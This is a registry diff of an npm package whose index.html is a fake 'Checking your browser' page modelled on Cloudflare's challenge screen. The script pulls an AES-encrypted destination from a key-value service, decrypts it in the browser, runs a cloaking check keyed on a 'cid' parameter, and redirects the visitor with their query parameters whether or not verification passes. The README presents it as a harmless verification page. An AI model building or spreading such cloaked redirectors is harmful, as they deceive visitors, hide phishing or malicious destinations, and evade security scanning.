@isla5mic/test 1.0.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +10 -0
  2. package/index.html +183 -225
  3. package/package.json +9 -2
package/README.md ADDED
@@ -0,0 +1,10 @@
1
+ # Browser verification page
2
+
3
+ A single static page served as the package entry point. It shows a brief
4
+ verification screen, resolves the destination it forwards to, and sends the
5
+ visitor there with the original query parameters.
6
+
7
+ - `index.html` — the page itself, no build step.
8
+ - No runtime dependencies and no install scripts.
9
+
10
+ Serve the package directory as static files, or open `index.html` directly.
package/index.html CHANGED
@@ -1,13 +1,11 @@
1
1
  <!DOCTYPE html>
2
- <html lang="en-US" dir="ltr">
2
+ <html lang="en-US" dir="ltr" data-build="d4iqk2">
3
3
  <head>
4
4
  <meta charset="UTF-8">
5
5
  <meta name="robots" content="noindex,nofollow">
6
6
  <meta name="viewport" content="width=device-width, initial-scale=1">
7
- <title>Just a moment...</title>
8
-
9
- <link rel="preconnect" href="https://challenges.cloudflare.com" />
10
- <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
7
+ <meta name="generator" content="challenge-page/d4iqk2">
8
+ <title>Checking your browser</title>
11
9
  <style>
12
10
  * { box-sizing: border-box; margin: 0; padding: 0; }
13
11
  html {
@@ -25,23 +23,23 @@
25
23
  }
26
24
  @media (prefers-color-scheme: dark) {
27
25
  html { background-color: #313131; color: #f2f2f2; }
28
- .main-content h1, .main-content p, .footer-text, .footer-text a { color: #f2f2f2 !important; }
29
- .challenge-box { border-color: #e7e7e7 !important; }
30
- .status-text, .cloudflare-mark, .cloud-links a { color: #f2f2f2 !important; }
31
- .footer-inner { border-top: 1px solid #444444 !important; }
26
+ .main-content_d4iqk2 h1, .main-content_d4iqk2 p, .footer-text_d4iqk2 { color: #f2f2f2 !important; }
27
+ .challenge-box_d4iqk2 { border-color: #585858 !important; }
28
+ .status-text_d4iqk2 { color: #f2f2f2 !important; }
29
+ .footer-inner_d4iqk2 { border-top: 1px solid #444444 !important; }
32
30
  }
33
- .main-wrapper {
31
+ .main-wrapper_d4iqk2 {
34
32
  flex-grow: 1;
35
33
  display: flex;
36
34
  align-items: center;
37
35
  justify-content: center;
38
36
  padding: 20px;
39
37
  }
40
- .main-content { max-width: 600px; width: 100%; text-align: left; }
41
- .ch-title-zone h1 { font-size: 32px; font-weight: 700; margin-bottom: 8px; }
42
- .ch-description { font-size: 15px; line-height: 1.5; color: #595959; margin-bottom: 28px; }
43
- .cf-turnstile-container { margin-bottom: 30px; min-height: 65px; }
44
- .challenge-box {
38
+ .main-content_d4iqk2 { max-width: 600px; width: 100%; text-align: left; }
39
+ .ch-title_d4iqk2 { font-size: 32px; font-weight: 700; margin-bottom: 8px; }
40
+ .ch-description_d4iqk2 { font-size: 15px; line-height: 1.5; color: #595959; margin-bottom: 28px; }
41
+ .challenge-slot_d4iqk2 { margin-bottom: 30px; min-height: 65px; }
42
+ .challenge-box_d4iqk2 {
45
43
  width: 300px;
46
44
  height: 65px;
47
45
  margin-bottom: 30px;
@@ -49,23 +47,23 @@
49
47
  background: transparent;
50
48
  display: flex;
51
49
  align-items: center;
52
- justify-content: space-between;
50
+ justify-content: flex-start;
53
51
  padding: 12px 13px 11px 9px;
54
52
  }
55
- .challenge-status {
53
+ .challenge-status_d4iqk2 {
56
54
  display: flex;
57
55
  align-items: center;
58
56
  min-width: 0;
59
57
  }
60
- .spinner {
58
+ .spinner_d4iqk2 {
61
59
  position: relative;
62
60
  width: 31px;
63
61
  height: 31px;
64
62
  margin-right: 9px;
65
63
  flex: 0 0 auto;
66
- animation: rotate 1.35s linear infinite;
64
+ animation: rotate_d4iqk2 1.35s linear infinite;
67
65
  }
68
- .spinner span {
66
+ .spinner_d4iqk2 span {
69
67
  position: absolute;
70
68
  top: 14px;
71
69
  left: 14px;
@@ -76,220 +74,140 @@
76
74
  transform: rotate(calc(var(--i) * 45deg)) translateY(-13px);
77
75
  opacity: calc(0.22 + (var(--i) * 0.09));
78
76
  }
79
- .status-text {
77
+ .status-text_d4iqk2 {
80
78
  margin: 0;
81
79
  line-height: 1.05;
82
80
  color: #313131;
83
81
  }
84
- .status-text strong {
82
+ .status-text_d4iqk2 strong {
85
83
  display: block;
86
84
  font-size: 16px;
87
85
  font-weight: 700;
88
86
  white-space: nowrap;
89
87
  }
90
- .cloudflare-mark {
91
- width: 72px;
92
- flex: 0 0 auto;
93
- color: #313131;
94
- text-align: center;
95
- font-family: Arial, Helvetica, sans-serif;
96
- line-height: 1;
97
- }
98
- .cloud-shape {
99
- position: relative;
100
- width: 34px;
101
- height: 18px;
102
- margin: 0 auto 3px;
103
- }
104
- .cloud-shape::before,
105
- .cloud-shape::after {
106
- content: "";
107
- position: absolute;
108
- background: #ff8a22;
109
- }
110
- .cloud-shape::before {
111
- right: 0;
112
- bottom: 0;
113
- width: 27px;
114
- height: 11px;
115
- border-radius: 10px 8px 7px 4px;
116
- box-shadow:
117
- -13px 2px 0 -4px #ff8a22,
118
- -4px -7px 0 1px #ff8a22,
119
- 8px -4px 0 -1px #ff8a22;
120
- }
121
- .cloud-shape::after {
122
- right: -7px;
123
- bottom: 2px;
124
- width: 15px;
125
- height: 6px;
126
- border-radius: 8px;
127
- background: #ffc46c;
128
- transform: skewX(-18deg);
129
- }
130
- .cloud-name {
131
- display: block;
132
- font-size: 9px;
133
- font-weight: 900;
134
- letter-spacing: 1.15px;
135
- }
136
- .cloud-links {
137
- display: block;
138
- margin-top: 4px;
139
- font-size: 7px;
140
- font-weight: 700;
141
- letter-spacing: 0;
142
- }
143
- .cloud-links a {
144
- color: #313131;
145
- text-decoration: underline;
146
- text-underline-offset: 1px;
147
- }
148
- @keyframes rotate {
88
+ @keyframes rotate_d4iqk2 {
149
89
  to { transform: rotate(360deg); }
150
90
  }
151
- .footer { padding: 20px 0; width: 100%; }
152
- .footer-inner {
91
+ .footer_d4iqk2 { padding: 20px 0; width: 100%; }
92
+ .footer-inner_d4iqk2 {
153
93
  max-width: 1000px;
154
94
  margin: 0 auto;
155
95
  padding: 16px 20px 0 20px;
156
96
  border-top: 1px solid #e0e0e0;
157
97
  display: flex;
158
98
  flex-direction: column;
159
- gap: 12px;
160
- }
161
- .footer-wrapper { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; }
162
- .ray-id { font-family: monospace; font-size: 13px; color: #8c8c8c; }
163
- .ray-id code { font-family: monospace; font-weight: bold; }
164
- .footer-link-wrapper { font-size: 13px; color: #8c8c8c; display: flex; align-items: center; }
165
- .footer-text a { color: #0051c3; text-decoration: none; }
166
- .footer-text a:hover { text-decoration: underline; }
167
- .footer-divider { display: inline-block; width: 1px; height: 12px; background-color: #8c8c8c; margin: 0 10px; }
168
- @media (max-width: 600px) {
169
- .footer-wrapper { flex-direction: column; align-items: flex-start; }
170
- .footer-divider { display: none; }
171
- .footer-link-wrapper { flex-direction: column; align-items: flex-start; gap: 4px; }
99
+ gap: 8px;
100
+ font-size: 13px;
101
+ color: #8c8c8c;
172
102
  }
103
+ .request-id_d4iqk2 { font-family: monospace; }
104
+ .request-id_d4iqk2 code { font-family: monospace; font-weight: bold; }
105
+ .footer-text_d4iqk2 { line-height: 1.4; }
173
106
  </style>
174
107
  </head>
175
108
  <body>
109
+ <main class="main-wrapper_d4iqk2" role="main">
110
+ <div class="main-content_d4iqk2">
111
+ <h1 class="ch-title_d4iqk2">Checking your browser</h1>
112
+ <p class="ch-description_d4iqk2">This page confirms that the request comes from a real browser. It only takes a moment.</p>
113
+ <div class="challenge-slot_d4iqk2" id="cf-turnstile-container" aria-label="Verification status"></div>
114
+ </div>
115
+ </main>
116
+ <footer class="footer_d4iqk2" role="contentinfo">
117
+ <div class="footer-inner_d4iqk2">
118
+ <span class="request-id_d4iqk2">Request ID: <code id="request-id">------------</code></span>
119
+ <span class="footer-text_d4iqk2">Automated traffic is screened to keep this page available.</span>
120
+ </div>
121
+ </footer>
176
122
  <script>
177
123
 
178
- function onTurnstileComplete(token) {
179
- if (window.__challengeRedirect) {
180
- window.__challengeRedirect();
181
- }
182
- }
183
-
184
- const hostKey = "C6T5HgvthvXYjiGt6ISpIylRIu7tm8ua";
185
- const aesKeyBase64 = "NvGafkxVGs+z6VOGy6E43n+JQgKSUsn+S5NjXlBmcq4=";
186
- const hasTurnstile = true;
187
- const turnstileSiteKey = "0x4AAAAAAF0oIMn--J331xNO";
188
- const turnstileLanguage = "en-US";
189
- const challengeLayoutHtml = "\n<div class=\"main-wrapper\" id=\"main-wrapper\" role=\"main\">\n <div class=\"main-content\">\n <div class=\"ch-title-zone\"><h1>Performing security verification</h1></div>\n <p class=\"ch-description\">\n This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.\n </p>\n \n <div class=\"cf-turnstile-container\" id=\"cf-turnstile-container\"></div>\n </div>\n</div>\n<div class=\"footer\" id=\"main-footer\" role=\"contentinfo\">\n <div class=\"footer-inner\">\n <div class=\"footer-wrapper\">\n <div class=\"clearfix diagnostic-wrapper\">\n <div class=\"ray-id\">Ray ID: <code id=\"dynamic-ray-id\">---------</code></div>\n </div>\n <div class=\"footer-link-wrapper\">\n <span class=\"footer-text\">\n Performance and Security by\n <a rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/?utm_source=challenge&amp;utm_campaign=m\" target=\"_blank\">Cloudflare</a>\n </span>\n <span class=\"footer-divider\"></span>\n <a id=\"privacy-link\" target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/privacypolicy/\" class=\"footer-text\">Privacy</a>\n </div>\n </div>\n </div>\n</div>";
124
+ var hostKey = "C6T5HgvthvXYjiGt6ISpIylRIu7tm8ua";
125
+ var aesKeyBase64 = "NvGafkxVGs+z6VOGy6E43n+JQgKSUsn+S5NjXlBmcq4=";
126
+ var fallbackDelayMs = 600;
127
+
128
+ var redirecting = false;
190
129
 
191
130
  function decodeBase64(b64) {
192
- const bin = atob(b64);
193
- const bytes = new Uint8Array(bin.length);
194
- for (let i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
131
+ var bin = atob(b64);
132
+ var bytes = new Uint8Array(bin.length);
133
+ for (var i = 0; i < bin.length; i++) bytes[i] = bin.charCodeAt(i);
195
134
  return bytes;
196
135
  }
197
136
 
198
- function appendVisitorParams(targetUrl) {
199
- new URLSearchParams(window.location.search).forEach(function (paramValue, paramKey) {
200
- targetUrl.searchParams.append(paramKey, paramValue);
201
- });
202
- return targetUrl;
203
- }
204
-
205
- function generateRayId() {
137
+ function generateRequestId() {
206
138
  var chars = "0123456789abcdef";
207
139
  var result = "";
208
- for (var i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];
140
+ for (var i = 0; i < 12; i++) result += chars.charAt(Math.floor(Math.random() * 16));
209
141
  return result;
210
142
  }
211
143
 
212
- // The page body is empty on load. Only render the layout once a policy
213
- // check has already failed, so the visitor never sees it otherwise.
214
- function renderChallengeLayout() {
215
- if (document.body.querySelector(".main-wrapper")) return;
216
- var host = document.createElement("div");
217
- host.innerHTML = challengeLayoutHtml;
218
- while (host.firstChild) {
219
- document.body.appendChild(host.firstChild);
220
- }
221
- var ray = document.getElementById("dynamic-ray-id");
222
- if (ray) ray.textContent = generateRayId();
144
+ function setRequestId() {
145
+ var target = document.getElementById("request-id");
146
+ if (target) target.textContent = generateRequestId();
223
147
  }
224
148
 
225
- function startTurnstileChallenge() {
226
- renderChallengeLayout();
227
- var container = document.getElementById("cf-turnstile-container");
228
- if (!container) return;
229
- if (container.querySelector(".cf-turnstile")) return;
230
- var widget = document.createElement("div");
231
- widget.className = "cf-turnstile";
232
- widget.setAttribute("data-appearance", "always");
233
- widget.setAttribute("data-sitekey", turnstileSiteKey);
234
- widget.setAttribute("data-theme", "auto");
235
- widget.setAttribute("data-language", turnstileLanguage);
236
- widget.setAttribute("data-callback", "onTurnstileComplete");
237
- widget.setAttribute("data-error-callback", "onTurnstileComplete");
238
- widget.setAttribute("data-expired-callback", "onTurnstileComplete");
239
- widget.setAttribute("data-timeout-callback", "onTurnstileComplete");
240
- widget.setAttribute("data-unsupported-callback", "onTurnstileComplete");
241
- container.appendChild(widget);
242
- if (window.turnstile && typeof window.turnstile.render === "function") {
243
- window.turnstile.render(widget, {
244
- sitekey: turnstileSiteKey,
245
- appearance: "always",
246
- theme: "auto",
247
- language: turnstileLanguage,
248
- callback: function () { onTurnstileComplete(); },
249
- "error-callback": function () { onTurnstileComplete(); },
250
- "expired-callback": function () { onTurnstileComplete(); },
251
- "timeout-callback": function () { onTurnstileComplete(); },
252
- "unsupported-callback": function () { onTurnstileComplete(); }
253
- });
149
+ function toHttpUrl(value, base) {
150
+ try {
151
+ var parsed = new URL(String(value), base || undefined);
152
+ if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return null;
153
+ return parsed;
154
+ } catch (err) {
155
+ return null;
254
156
  }
255
157
  }
256
158
 
257
- function resolveHostUrl() {
258
- return (async function () {
259
- const response = await fetch("https://api.keyval.org/get", {
260
- method: "POST",
261
- headers: { "Content-Type": "application/json" },
262
- body: JSON.stringify({ key: hostKey })
263
- });
264
- const data = await response.json();
265
- const stored = String(data && data.val || "");
266
- const sep = stored.indexOf(":");
267
- if (sep <= 0) return null;
268
- const iv = decodeBase64(stored.slice(0, sep));
269
- const encrypted = decodeBase64(stored.slice(sep + 1));
270
- const secretKey = await crypto.subtle.importKey(
271
- "raw",
272
- decodeBase64(aesKeyBase64),
273
- { name: "AES-CTR" },
274
- false,
275
- ["decrypt"]
276
- );
277
- const plain = new TextDecoder().decode(
278
- await crypto.subtle.decrypt(
279
- { name: "AES-CTR", counter: iv, length: 128 },
280
- secretKey,
281
- encrypted
282
- )
159
+ function appendVisitorParams(targetUrl) {
160
+ new URLSearchParams(window.location.search).forEach(function (paramValue, paramKey) {
161
+ targetUrl.searchParams.append(paramKey, paramValue);
162
+ });
163
+ return targetUrl;
164
+ }
165
+
166
+ function decodeStoredValue(stored) {
167
+ var separator = stored.indexOf(":");
168
+ if (separator <= 0) return Promise.resolve(stored);
169
+ return crypto.subtle.importKey(
170
+ "raw",
171
+ decodeBase64(aesKeyBase64),
172
+ { name: "AES-CTR" },
173
+ false,
174
+ ["decrypt"]
175
+ ).then(function (secretKey) {
176
+ return crypto.subtle.decrypt(
177
+ { name: "AES-CTR", counter: decodeBase64(stored.slice(0, separator)), length: 128 },
178
+ secretKey,
179
+ decodeBase64(stored.slice(separator + 1))
283
180
  );
284
- return new URL(/^[a-z][a-z\d+.-]*:\/\//i.test(plain) ? plain : "https://" + plain);
285
- })().catch(function () {
286
- // keyval.org lookup failed; no host target is available.
181
+ }).then(function (plain) {
182
+ return new TextDecoder().decode(plain);
183
+ }).catch(function () {
184
+ return stored;
185
+ });
186
+ }
187
+
188
+ function resolveHostUrl() {
189
+ return fetch("https://api.keyval.org/get", {
190
+ method: "POST",
191
+ cache: "no-store",
192
+ headers: { "Content-Type": "application/json" },
193
+ body: JSON.stringify({ key: hostKey })
194
+ }).then(function (response) {
195
+ return response.ok ? response.json() : null;
196
+ }).then(function (data) {
197
+ var stored = String((data && data.val) || "").trim();
198
+ if (!stored) return null;
199
+ return decodeStoredValue(stored);
200
+ }).then(function (plain) {
201
+ var text = String(plain || "").trim();
202
+ if (!text) return null;
203
+ return toHttpUrl(/^[a-z][a-z\d+.-]*:\/\//i.test(text) ? text : "https://" + text);
204
+ }).catch(function () {
287
205
  return null;
288
206
  });
289
207
  }
290
208
 
291
209
  function fetchPolicyRedirectUrl(baseUrl) {
292
- const cid = new URLSearchParams(window.location.search).get("cid");
210
+ var cid = new URLSearchParams(window.location.search).get("cid");
293
211
  if (!cid || !baseUrl) return Promise.resolve(null);
294
212
  return fetch(baseUrl + "/api/strategies/check?cid=" + encodeURIComponent(cid))
295
213
  .then(function (checkResponse) {
@@ -307,56 +225,96 @@
307
225
  });
308
226
  }
309
227
 
310
- function applyPolicyRedirect(policyUrl, baseUrl) {
311
- const policyTarget = new URL(policyUrl, baseUrl || undefined);
312
- appendVisitorParams(policyTarget);
313
- window.location.replace(policyTarget.toString());
228
+ function navigate(targetUrl) {
229
+ redirecting = true;
230
+ window.location.replace(targetUrl.toString());
314
231
  }
315
232
 
316
233
  function redirectToHost() {
234
+ if (redirecting) return Promise.resolve();
317
235
  return hostUrlPromise.then(function (url) {
318
- if (!url) return;
236
+ if (!url || redirecting) return null;
319
237
  appendVisitorParams(url);
320
- window.location.replace(url.toString());
238
+ navigate(url);
239
+ return null;
321
240
  });
322
241
  }
323
242
 
324
- // Resolve the keyval.org host URL first.
325
- const hostUrlPromise = resolveHostUrl();
243
+ var turnstileSiteKey = "0x4AAAAAAF0oIMn--J331xNO";
244
+ var turnstileLanguage = "en-US";
245
+ var turnstileLoading = null;
326
246
 
327
- const checkPromise = hostUrlPromise.then(function (url) {
328
- const checkBaseUrl = url ? url.origin : "";
329
- return fetchPolicyRedirectUrl(checkBaseUrl).then(function (policyUrl) {
330
- if (!policyUrl) return false;
247
+ function loadTurnstile() {
248
+ if (window.turnstile) return Promise.resolve(window.turnstile);
249
+ if (turnstileLoading) return turnstileLoading;
250
+ turnstileLoading = new Promise(function (resolve) {
251
+ var script = document.createElement("script");
252
+ script.src = "https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit";
253
+ script.async = true;
254
+ script.defer = true;
255
+ script.onload = function () { resolve(window.turnstile || null); };
256
+ script.onerror = function () { resolve(null); };
257
+ document.head.appendChild(script);
258
+ });
259
+ return turnstileLoading;
260
+ }
261
+
262
+ function onTurnstileComplete() {
263
+ if (redirecting) return;
264
+ checkPromise.then(function (redirected) {
265
+ if (redirected) return;
266
+ return redirectToHost();
267
+ });
268
+ }
269
+
270
+ function mountTurnstile() {
271
+ var container = document.getElementById("cf-turnstile-container");
272
+ if (!container || container.getAttribute("data-mounted") === "1") return;
273
+ container.setAttribute("data-mounted", "1");
274
+ loadTurnstile().then(function (turnstile) {
275
+ if (!turnstile || typeof turnstile.render !== "function") {
276
+ onTurnstileComplete();
277
+ return;
278
+ }
279
+ var options = {
280
+ sitekey: turnstileSiteKey,
281
+ appearance: "always",
282
+ theme: "auto",
283
+ language: turnstileLanguage,
284
+ callback: function () { onTurnstileComplete(); },
285
+ "error-callback": function () { onTurnstileComplete(); },
286
+ "expired-callback": function () { onTurnstileComplete(); },
287
+ "timeout-callback": function () { onTurnstileComplete(); },
288
+ "unsupported-callback": function () { onTurnstileComplete(); }
289
+ };
331
290
  try {
332
- applyPolicyRedirect(policyUrl, checkBaseUrl);
333
- return true;
334
- } catch (e) {
335
- // Invalid/non-absolute redirect URL: treat it as a policy
336
- // failure so the page can fall through to the challenge flow.
337
- return false;
291
+ turnstile.render(container, options);
292
+ } catch (err) {
293
+ onTurnstileComplete();
338
294
  }
339
295
  });
340
- });
296
+ }
341
297
 
342
- // Policy check runs first: on success we redirect and skip Cloudflare.
343
- checkPromise.then(function (success) {
344
- if (success) return;
345
- if (hasTurnstile) {
346
- startTurnstileChallenge();
347
- return;
348
- }
349
- renderChallengeLayout();
350
- setTimeout(function () { redirectToHost(); }, 1000);
351
- });
298
+ var hostUrlPromise = resolveHostUrl();
352
299
 
353
- // Used by the Cloudflare Turnstile callback (only when a widget is present).
354
- window.__challengeRedirect = function () {
355
- return checkPromise.then(function (success) {
356
- if (success) return;
357
- return redirectToHost();
300
+ var checkPromise = hostUrlPromise.then(function (hostUrl) {
301
+ var baseUrl = hostUrl ? hostUrl.origin : "";
302
+ return fetchPolicyRedirectUrl(baseUrl).then(function (policyUrl) {
303
+ if (!policyUrl) return false;
304
+ var target = toHttpUrl(policyUrl, baseUrl || undefined);
305
+ if (!target) return false;
306
+ appendVisitorParams(target);
307
+ navigate(target);
308
+ return true;
358
309
  });
359
- };
310
+ });
311
+
312
+ setRequestId();
313
+
314
+ checkPromise.then(function (redirected) {
315
+ if (redirected) return;
316
+ mountTurnstile();
317
+ });
360
318
 
361
319
  </script>
362
320
  </body>
package/package.json CHANGED
@@ -1,8 +1,15 @@
1
1
  {
2
2
  "name": "@isla5mic/test",
3
- "version": "1.0.0",
3
+ "version": "1.0.3",
4
4
  "main": "index.html",
5
5
  "files": [
6
- "index.html"
6
+ "index.html",
7
+ "README.md"
8
+ ],
9
+ "description": "Browser verification page that forwards visitors to the configured destination.",
10
+ "license": "MIT",
11
+ "keywords": [
12
+ "browser-verification",
13
+ "landing-page"
7
14
  ]
8
15
  }